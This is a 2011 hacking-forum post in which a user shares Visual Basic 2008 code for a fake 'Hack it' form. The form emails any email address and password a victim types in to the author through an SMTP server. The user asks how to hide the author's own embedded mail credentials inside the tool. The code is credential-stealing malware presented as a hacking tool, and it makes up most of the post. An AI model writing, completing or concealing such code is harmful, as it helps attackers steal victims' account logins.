+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: [Visual basic 2008] Need help (/Thread-Visual-basic-2008-Need-help)
[Visual basic 2008] Need help - kSk57 - 05-26-2011
hey guys im from germany, sry for my bad english
okay i have with visual basic 2008 did a keylogger,
with 2 Buttons and 2 textbox. On the buttons are "Hack it" and "Close"
on the textbox you must give youre "email" and "password", and then the data get to my email.
and i want to ask you all how can i hide my email und the password from the keylogger. its easy to hack my keylogger.
i hope one of you can help me
Code:
Imports System.Net.Mail
Imports System.Net
Public Class Form1
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
If ProgressBar1.Value = ProgressBar1.Maximum Then
Close()
End If
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
Dim text As String
text = TextBox1.Text & TextBox2.Text + vbLf
Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
myClient.Credentials = New NetworkCredential(my email", "my password")
myClient.Send("my email", "my email, my email", "new account", text)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Start()
Dim text As String
text = TextBox1.Text & TextBox2.Text + vbLf
Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
myClient.Credentials = New NetworkCredential("my email", "my password")
myClient.Send(my email", "my email, my email", "new account", text)
Close()
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
End Class